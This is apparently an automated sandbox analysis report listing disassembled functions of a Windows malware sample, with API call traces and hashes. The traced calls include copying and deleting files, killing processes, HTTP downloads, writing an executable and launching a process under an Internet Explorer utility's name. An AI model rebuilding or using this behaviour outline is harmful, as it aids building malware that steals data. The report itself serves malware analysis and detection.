Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004093AA
lstrlenA.KERNEL32(00000000), ref: 004095A5
lstrlenA.KERNEL32(00000000), ref: 004095B9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409374

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 004110F0: memset.MSVCRT ref: 0041110A
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,00409753,00409C77), ref: 0041113D
Part of subcall function 004110F0: HeapAlloc.KERNEL32(00000000,?,00409753,00409C77), ref: 00411144
Part of subcall function 004110F0: wsprintfW.USER32 ref: 00411153
Part of subcall function 004110F0: OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 004111BB
Part of subcall function 004110F0: TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 004111CA
Part of subcall function 004110F0: CloseHandle.KERNEL32(00000000,?,?), ref: 004111D1

DeleteFileA.KERNEL32(00000000), ref: 0040962C

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileProcesslstrlen$CopyHeaplstrcat$AllocCloseDeleteHandleOpenSystemTerminateTimememsetwsprintf
String ID:
API String ID: 1686511269-0
Opcode ID: b9195a5c73c2ebd86f7e5d26bbb20cbbcd33ef5af0e72e5151cb8a636924a0cb
Instruction ID: 636272d701f62a51ab66f6ac3a7d6c85b67b1804ac626aa14366a40fbd92db1c
Opcode Fuzzy Hash: b9195a5c73c2ebd86f7e5d26bbb20cbbcd33ef5af0e72e5151cb8a636924a0cb
Instruction Fuzzy Hash: BEB1FC72910108ABCB14FBA1DD56DEE7379AF54304F50813EF502768E2EF386A0DCA69

Function 00409690 Relevance: 7.8, APIs: 5, Instructions: 264fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040976A
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409734

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 004110F0: memset.MSVCRT ref: 0041110A
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,00409753,00409C77), ref: 0041113D
Part of subcall function 004110F0: HeapAlloc.KERNEL32(00000000,?,00409753,00409C77), ref: 00411144
Part of subcall function 004110F0: wsprintfW.USER32 ref: 00411153
Part of subcall function 004110F0: OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 004111BB
Part of subcall function 004110F0: TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 004111CA
Part of subcall function 004110F0: CloseHandle.KERNEL32(00000000,?,?), ref: 004111D1

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process$CopyFileHeaplstrcat$AllocCloseHandleOpenSystemTerminateTimelstrlenmemsetwsprintf
String ID:
API String ID: 3536976966-0
Opcode ID: cf384ce3e57c5d371b2bc6d22b112a02473497a0d43267ef4ec8eb95e4549e3e
Instruction ID: 59642c9a9299a7c4d39bed30f6b85666f3aa0001a0dfc23d3a4e96657f843de5
Opcode Fuzzy Hash: cf384ce3e57c5d371b2bc6d22b112a02473497a0d43267ef4ec8eb95e4549e3e
Instruction Fuzzy Hash: 8491EB72910108ABCB14FBA1DC56DEE7379AF54304F50813EF506B65E2EF386A0DCA69

Function 6C7E4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C7E4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C7E4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7E4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C7E4F1E

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 0b16dda14f75ec1aca1b209dc0cda9da1aee7909fd68e8c0b27833a69dc4ca03
Instruction ID: 9152139d7c995a836a9c10d3785433d7672bdae9f3a8c266671a12f6037eba74
Opcode Fuzzy Hash: 0b16dda14f75ec1aca1b209dc0cda9da1aee7909fd68e8c0b27833a69dc4ca03
Instruction Fuzzy Hash: 5B41EF726087059FC701CFA9C98095BBBE8BF8D344F148A2DF96697B41DB30E918DB91

Function 0041A300 Relevance: 7.6, APIs: 5, Instructions: 116timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,00000000,?,?,?,0041BE47,?,?), ref: 0041A349
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0041BE47,?,?), ref: 0041A376
GetLocalTime.KERNEL32(?,?,?,?,0041BE47,?,?), ref: 0041A3AC
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,0041BE47,?,?), ref: 0041A3BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041A3F2

Part of subcall function 00419D90: GetFileInformationByHandle.KERNEL32(?,?,?), ref: 00419D9F

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 89576305-0
Opcode ID: d5e0584e01925d2c640353398a2bdca4327d2313ea90962a6454897716b9442c
Instruction ID: e7429e3aebd1a6e52c3c8d36e2545da7f270dee8cee286abcc6c9aad0b06b6da
Opcode Fuzzy Hash: d5e0584e01925d2c640353398a2bdca4327d2313ea90962a6454897716b9442c
Instruction Fuzzy Hash: 184161B2500704AFD720DF79D840AABBBE8FB48314F008A1EE99AC6751E774A545CB65

Function 6C7F1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C7F152B,?,?,?,?,6C7F1248,?), ref: 6C7F159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C7F152B,?,?,?,?,6C7F1248,?), ref: 6C7F15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C7F152B,?,?,?,?,6C7F1248,?), ref: 6C7F15E7
free.MOZGLUE(?,?,?,?,?,?,6C7F152B,?,?,?,?,6C7F1248,?), ref: 6C7F1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C7F152B,?,?,?,?,6C7F1248,?), ref: 6C7F1637

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: fd300fff083f97746d6fce360471ae21a0c1f857c344e882cb8d435096acf1bf
Instruction ID: 24b8d2b8a58f6f8cae0548e51e12a574f16f259aff481cf8947a81eabc13a001
Opcode Fuzzy Hash: fd300fff083f97746d6fce360471ae21a0c1f857c344e882cb8d435096acf1bf
Instruction Fuzzy Hash: 8531F6B2A001048BCB188E78DA9446E77A9BB81374B250B3DE433DBBD5EB30D9168791

Function 6C84AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C85E330,?,6C80C059), ref: 6C84AD9D

Part of subcall function 6C7FCA10: malloc.MOZGLUE(?), ref: 6C7FCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C85E330,?,6C80C059), ref: 6C84ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C85E330,?,6C80C059), ref: 6C84AE01
GetLastError.KERNEL32(?,00000000,?,?,6C85E330,?,6C80C059), ref: 6C84AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C85E330,?,6C80C059), ref: 6C84AE3D

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 85d0749cd772ca2399de5d7fdc782f905940e1237a651624d7106c7e280ce060
Instruction ID: 3d3bc3f3753520084c16a4ed19bc3ffcabd7abb6dc0842cf143524a0fd777a0c
Opcode Fuzzy Hash: 85d0749cd772ca2399de5d7fdc782f905940e1237a651624d7106c7e280ce060
Instruction Fuzzy Hash: 6E3143B1A002159FD760DF798D44AABBBF8EF48614F558839E85AD7700E734D804CBA0

Function 6C7EB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C7EB532
moz_xmalloc.MOZGLUE(?), ref: 6C7EB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7EB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C7EB57E
free.MOZGLUE(00000000), ref: 6C7EB58F

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 0568ebf4b18b58aba42f4261ab89f493962a0505432965cda9c94046f6c2d8f0
Instruction ID: bd82d9d98d0a427e3afda1ee891a96c7be06816c083341f80877b9f5b1f47cca
Opcode Fuzzy Hash: 0568ebf4b18b58aba42f4261ab89f493962a0505432965cda9c94046f6c2d8f0
Instruction Fuzzy Hash: 8221F8726002059BDB008F69CD44B7ABFB9FF46318F244039E815DB341E775E911C7A1

Function 6C820D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C7E3DEF), ref: 6C820D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C7E3DEF), ref: 6C820D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C7E3DEF), ref: 6C820DAF

Strings

<jemalloc>, xrefs: 6C820D92, 6C820DB9
: (malloc) Error in VirtualFree(), xrefs: 6C820D97, 6C820DBE

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: f04a5ca8ad7c6169da49d06148c18f24b860ba2a7d4ddb891816c1214bed76dd
Instruction ID: f46219ed404def90a2e2d705f092ea6ec00d100908901de558658042c8aa5794
Opcode Fuzzy Hash: f04a5ca8ad7c6169da49d06148c18f24b860ba2a7d4ddb891816c1214bed76dd
Instruction Fuzzy Hash: 4BF0E0313D125823D73411771F2EB7A265D67C2B19F704935F204DADC0DB58E44596D4

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041E50C

Part of subcall function 0041DA31: __getptd_noexit.LIBCMT ref: 0041DA34
Part of subcall function 0041DA31: __amsg_exit.LIBCMT ref: 0041DA41

__getptd.LIBCMT ref: 0041E523
__amsg_exit.LIBCMT ref: 0041E531
__lock.LIBCMT ref: 0041E541
__updatetlocinfoEx_nolock.LIBCMT ref: 0041E555

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 5bd2c2badca23be88ae16743be1f40e862c4246da42734189f77014b2e51f0e5
Instruction ID: 181538fad8f1af583ad267447a9f2cb896f01bcf5c9fce745e879364e39ffb1b
Opcode Fuzzy Hash: 5bd2c2badca23be88ae16743be1f40e862c4246da42734189f77014b2e51f0e5
Instruction Fuzzy Hash: 1FF0F676D40700ABD620B7A7A9027DE37A15F0032CF91011FFC54A72C2DB6C59C18A5D

Function 00411720 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 161processCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 004043E0: GetProcessHeap.KERNEL32(00000000,05F5E0FF,?,?,?,?,?,?,00000030), ref: 0040441C
Part of subcall function 004043E0: RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,?,00000030), ref: 00404423
Part of subcall function 004043E0: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00404442
Part of subcall function 004043E0: StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,00000030), ref: 0040445A
Part of subcall function 004043E0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404482
Part of subcall function 004043E0: HttpOpenRequestA.WININET(00000000,GET,?,024BFBE0,00000000,00000000,-00400100,00000000), ref: 004044BC
Part of subcall function 004043E0: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004044E0
Part of subcall function 004043E0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004044EF

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 00411280: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,?,00412B26,?), ref: 004112A0

memset.MSVCRT ref: 00411821
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00423418,?,?), ref: 00411884

Strings

C:\Program Files (x86)\Internet Explorer\ielowutil.exe, xrefs: 004118D6
.exe, xrefs: 0041176C

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTimelstrlenmemset
String ID: .exe$C:\Program Files (x86)\Internet Explorer\ielowutil.exe
API String ID: 1306395318-2544896153
Opcode ID: e8e2469080ad111bb87c2960f426c540dd9c9bb73a469f66224bb2bb1f91675b
Instruction ID: c41e25dc6986440f3b3a3246c21613a770d4df79c8b9528e998c0942c0c520f6
Opcode Fuzzy Hash: e8e2469080ad111bb87c2960f426c540dd9c9bb73a469f66224bb2bb1f91675b
Instruction Fuzzy Hash: 8B512F72A10108AADB24FBB1DC52FED7778AF54304F54813EB501728D2EF786A4DC6A8

Function 6C80D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C81CBE8: GetCurrentProcess.KERNEL32(?,6C7E31A7), ref: 6C81CBF1
Part of subcall function 6C81CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7E31A7), ref: 6C81CBFA

EnterCriticalSection.KERNEL32(6C86E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C81D1C5), ref: 6C80D4F2
LeaveCriticalSection.KERNEL32(6C86E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C81D1C5), ref: 6C80D50B

Part of subcall function 6C7ECFE0: EnterCriticalSection.KERNEL32(6C86E784), ref: 6C7ECFF6
Part of subcall function 6C7ECFE0: LeaveCriticalSection.KERNEL32(6C86E784), ref: 6C7ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C81D1C5), ref: 6C80D52E
EnterCriticalSection.KERNEL32(6C86E7DC), ref: 6C80D690
LeaveCriticalSection.KERNEL32(6C86E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C81D1C5), ref: 6C80D751

Strings

MOZ_CRASH(), xrefs: 6C80D4BB

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 7014694c881085901c13781df7c97fbccf9156469b1b1ba600d29cca1f5e8db4
Instruction ID: bc92ee953eebea2a3b7196f56f40ebd72f2e87c81b5468365d9cb89f397876f7
Opcode Fuzzy Hash: 7014694c881085901c13781df7c97fbccf9156469b1b1ba600d29cca1f5e8db4
Instruction Fuzzy Hash: 5F518D71B087058FD334CF29CA9462AB7E1AB8A318F544D3ED5A9C7F85D770A804CB91

Function 0040D8A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040D91C
std::_Xinvalid_argument.LIBCPMT ref: 0040D936
memcpy.MSVCRT ref: 0040D98C

Part of subcall function 0040D700: std::_Xinvalid_argument.LIBCPMT ref: 0040D719
Part of subcall function 0040D700: std::_Xinvalid_argument.LIBCPMT ref: 0040D73A
Part of subcall function 0040D700: std::_Xinvalid_argument.LIBCPMT ref: 0040D755
Part of subcall function 0040D700: memcpy.MSVCRT ref: 0040D7BD

Strings

string too long, xrefs: 0040D917, 0040D931

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
